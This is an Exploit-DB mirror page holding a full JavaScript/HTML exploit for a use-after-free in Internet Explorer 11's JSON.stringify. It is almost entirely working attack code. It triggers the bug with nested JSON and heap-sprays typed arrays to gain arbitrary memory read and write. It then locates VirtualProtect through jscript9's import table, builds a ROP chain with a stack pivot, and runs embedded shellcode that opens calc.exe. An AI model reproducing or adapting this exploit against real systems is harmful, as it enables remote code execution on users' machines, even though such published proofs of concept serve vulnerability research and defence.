Microsoft Internet Explorer 11 – javascript Code Execution

  • 作者: checkpoint
    日期: 2016-02-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44743/
  • <html>
    <body>
    <script>
    ARR_SIZE = 3248;
    first_gadget_offsets = [150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476];
    stackpivot_gadget_offsets = [122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542];
    first_gadget = [0x89, 0x41, 0x0c, 0xc3];
    stackpivot_gadget = [0x94, 0xc3];
    gadget_offsets = {"stackpivot": 0, "g1": 0, "g2": 0};
    
    function empty_replacer(a,b) {
    return b;
    }
    
    function create_list(lst, depth) {
    if (depth > 5)
    {
    return;
    }
    else
    {
    // Creates 19 objects in each nested list
    for (i = 0; i <= 19; i++)
    {
    // Create random string with length 8
    for (var val = "", c = 0; c <= 8; c++) {
    rnd = Math.floor((Math.random() * 90) + 48);
    l = String.fromCharCode(rnd);
    val = val + l;
    }
    lst["a" + i] = val;
    }
    create_list(lst["a0"] = {}, depth + 1);
    }
    }
    
    function create_triggering_json() {
    var lst = {}
    create_list(lst, 0);
    return lst;
    }
    
    // Create vulnerable JSON
    trig_json = create_triggering_json();
    
    spray = new Array(4096);
    buff = new ArrayBuffer(4);
    size = 0;
    
    // Heap Spray
    var I = setInterval(function(){ 
    for (i=0;i<400;i++,size++) {
    spray[size] = new Array(15352);
    for (j = 0; j< 85;j++) {
    spray[size][j] = new Uint32Array(buff);
    }
    0 == i && (yb = spray[0][0]["length"], yb["toString"](16))
    }
    
    size >= (4096) && (clearInterval(I), uaf())
    }, 100);
    
    var arr = []
    function uaf()
    {
    JSON.stringify(trig_json,empty_replacer);
    
    var pattern = [311357464,311357472,311357464];
    for (var b = 3248 * 2, c = 203; c < b; c++)
    arr[c] = new ArrayBuffer(12);
    
    for (c = 203; c < b; c++)
    {
    var data = new Uint32Array(arr[c],0);
    a = 0;
    for (var i = data["length"] / pattern["length"]; a < i; a++)
    for (var d=0, e = pattern["length"]; d < e;d++) 
    data[a+d] = pattern[d];
    
    }
    
    CollectGarbage();
    
    search_corrupted_array();
    }
    
    var damaged_array;
    function search_corrupted_array()
    {
    for (i=0;i<4096;i++) 
    {
    for (j = 0; j< 85;j++) {
    if (spray[i][j].length != 1)
    {
    damaged_array = spray[i][j];
    damaged_array[1] = 0x7fffffff; // Set array to include almost entire user-space
    damaged_array[2] = 0x10000;
    
    write_dword_to_addr(damaged_array, 0x128e0020, 0xDEC0DE * 2 | 1); // Mark the first element of one of the arrays, to find it later
    for (k = 0; k < 4096; k++) { // find the marked array
    if (spray[k][0] == 0xDEC0DE) {
    break;
    }
    }
    // now spray[k][0] is 0x128e0020
    if (k == 4096) break;
    spray[k][2] = new Array(1); // creates a native integer array, pointed by 0x128e0028
    spray[k][2][0] = new ArrayBuffer(0xc); // turns the array to be JavascriptArray
    arr_obj = read_dword_from_addr(damaged_array, 0x128e0028); // address of the new JavascriptArray object
    jscript9_base_addr = read_dword_from_addr(damaged_array, arr_obj) & 0xffff0000; // read the first dword of the JavascriptArray object, which is the vftable pointer, null the lower word to get jscript9 base address
    vp_addr = get_vp_addr(damaged_array, jscript9_base_addr); // virtual address of kernel32!VirtualProtectStub
    if (vp_addr == 0) break;
    arrbuf = new ArrayBuffer(0x5000); // this buffer will contain the ROP chain
    spray[k][0] = new Uint32Array(arrbuf); // Uint32Array that is a view to the arraybuffer above, pointed by 0x128e0020
    rc_buf_ui32_obj = read_dword_from_addr(damaged_array, 0x128e0020); // address of the Uint32Array object
    rc_buf_ui32_data = read_dword_from_addr(damaged_array, rc_buf_ui32_obj + 0x20); // address of first element of Uint32Array above
    var shellcode_caller = [0x53, 0x55, 0x56, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x5e, 0x5d, 0x5b, 0x8b, 0x63, 0x0c, 0xc2, 0x0c, 0x00, 0x90];
    				var shellcode = [96, 49, 210, 82, 104, 99, 97, 108, 99, 84, 89, 82, 81, 100, 139, 114, 48, 139, 118, 12, 139, 118, 12, 173, 139, 48, 139, 126, 24, 139, 95, 60, 139, 92, 31, 120, 139, 116, 31, 32, 1, 254, 139, 84, 31, 36, 15, 183, 44, 23, 66, 66, 173, 129, 60, 7, 87, 105, 110, 69, 117, 240, 139, 116, 31, 28, 1, 254, 3, 60, 174, 255, 215, 88, 88, 97, 195]; // open calc.exe shellcode
    spray[k][1] = new Uint8Array(shellcode_caller.concat(shellcode)); // shellcode, pointed by 0x128e0024
    sc_obj = read_dword_from_addr(damaged_array, 0x128e0024); // address of the Uint8Array object containing the shellcode
    sc_data = read_dword_from_addr(damaged_array, sc_obj + 0x20); // address of the shellcode buffer itself
    construct_gadget_dict(damaged_array, jscript9_base_addr);
    
    // construct the ROP chain
    spray[k][0][0] = jscript9_base_addr + gadget_offsets["g1"]; // mov dword ptr [ecx+0c], eax # ret
    spray[k][0][1] = jscript9_base_addr + gadget_offsets["g2"]; // ret
    spray[k][0][2] = vp_addr; // VirtualProtectStub pointer
    spray[k][0][3] = sc_data; // shellcode address (return address to which we return after VirtualProtect)
    spray[k][0][4] = sc_data; // lpAddress
    spray[k][0][5] = spray[k][1].length; // dwSize
    spray[k][0][6] = 0x40; // flNewProtect = PAGE_EXECUTE_READWRITE
    spray[k][0][7] = rc_buf_ui32_data + 0x20; // lpflOldProtect
    spray[k][0][0x90 / 4] = jscript9_base_addr + gadget_offsets["stackpivot"]; // stackpivot gadget in offset 0x90 from ROP chain top
    write_dword_to_addr(damaged_array, arr_obj, rc_buf_ui32_data); // overwrite the JavascriptArray object's vftable pointer with the address of the ROP chain
    spray[k][2][0] = 0; // set the first item of the overwritten JavascriptArray object, triggering the call to JavascriptArray::SetItem. since the vftable is now the ROP chain, and SetItem is in offset 0x90 in the original vftable, this will trigger the stackpivot gadget
    }
    }
    }
    }
    
    function get_index_from_addr(addr) {
    return Math.floor((addr - 0x10000) / 4);
    }
    
    function get_iat_offset(arr, js9_base) {
    return 0x3e6000;
    }
    
    function get_pe_header_offset(arr, js9_base) {
    var offset = read_dword_from_addr(arr, js9_base + 0x3c);
    return offset;
    }
    
    function get_import_table_offset(arr, js9_base) {
    var pe_header_offset = get_pe_header_offset(arr, js9_base);
    var pe_header = js9_base + pe_header_offset;
    var import_table_offset = read_dword_from_addr(arr, pe_header + 0x80);
    return import_table_offset;
    }
    
    function get_import_table_size(arr, js9_base) {
    var pe_header_offset = get_pe_header_offset(arr, js9_base);
    var pe_header = js9_base + pe_header_offset;
    var import_table_size = read_dword_from_addr(arr, pe_header + 0x84);
    return import_table_size;
    }
    
    function get_vp_addr(arr, js9_base) {
    var kernel32_entry = get_kernel32_entry(arr, js9_base);
    var string_pointers_offset = read_dword_from_addr(arr, kernel32_entry - 0xc);
    var function_pointers_offset = read_dword_from_addr(arr, kernel32_entry + 0x4);
    var func_name = new String();
    for (fptr = js9_base + function_pointers_offset, sptr = js9_base + string_pointers_offset; fptr != 0 && sptr != 0; fptr += 4, sptr += 4) {
    func_name = read_string_from_addr(arr, js9_base + read_dword_from_addr(arr, sptr) +2);
    if (func_name.indexOf("VirtualProtect") > -1) {
    return read_dword_from_addr(arr, fptr);
    }
    }
    return 0;
    }
    
    function get_kernel32_entry(arr, js9_base) {
    var it_addr = js9_base + get_import_table_offset(arr, js9_base);
    var it_size = get_import_table_size(arr, js9_base);
    var s = new String();
    for (var next_addr = it_addr + 0xc; next_addr < js9_base + it_addr + it_size; next_addr += 0x14) {
    var it_entry = read_dword_from_addr(arr, next_addr);
    if (it_entry != 0) {
    s = read_string_from_addr(arr, js9_base + it_entry);
    if (s.indexOf("KERNEL32") > -1 || s.indexOf("kernel32") > -1) {
    return next_addr;
    }
    }
    }
    return 0;
    }
    
    function read_dword_from_addr(arr, addr) {
    return arr[get_index_from_addr(addr)];
    }
    
    function read_byte_from_addr(arr, addr) {
    var mod = addr % 4;
    var ui32 = read_dword_from_addr(arr, addr);
    return ((ui32 >> (mod * 8)) & 0x000000ff);
    
    }
    
    function read_string_from_addr(arr, addr) {
    var s = new String();
    var i = 0;
    for (i = addr, c = "stub"; c != String.fromCharCode(0); i++) {
    c = String.fromCharCode(read_byte_from_addr(arr, i));
    s += c;
    }
    return s;
    }
    
    function write_dword_to_addr(arr, addr, data) {
    arr[get_index_from_addr(addr)] = data;
    }
    
    function find_gadget_offset(arr, js9_base, offsets, gadget, gadget_key) {
    var first_dword = 0x0, second_dword = 0x0, g = 0;
    var gadget_candidate = [];
    for (g = 0; g < offsets.length; g++) {
    first_dword = read_dword_from_addr(arr, js9_base + offsets[g]);
    second_dword = read_dword_from_addr(arr, js9_base + offsets[g] + 4);
    
    gadget_candidate = convert_reverse_ui32_to_array(first_dword);
    gadget_candidate = gadget_candidate.concat(convert_reverse_ui32_to_array(second_dword));
    
    if (contains_gadget(gadget_candidate, gadget)) {
    gadget_offsets[gadget_key] = offsets[g];
    break;
    }
    }
    }
    
    function construct_gadget_dict(arr, js9_base) {
    find_gadget_offset(arr, js9_base, first_gadget_offsets, first_gadget, "g1");
    find_gadget_offset(arr, js9_base, stackpivot_gadget_offsets, stackpivot_gadget, "stackpivot");
    if (gadget_offsets["stackpivot"] > 0) {
    gadget_offsets["g2"] = gadget_offsets["stackpivot"] + 1;
    }
    }
    
    function contains_gadget(arr, sub) {
    var i = 0;
    for (i = 0; i < sub.length; i++) {
    if (arr.indexOf(sub[i]) == -1) return false;
    }
    return true;
    }
    
    function convert_reverse_ui32_to_array(ui32) {
    var arr = [];
    var i = 0;
    var tmp = ui32;
    for (i = 0; i < 4; i++, tmp = tmp >> 8) {
    arr.push(tmp & 0x000000ff);
    }
    return arr;
    }
    </script>
    </body>
    </html>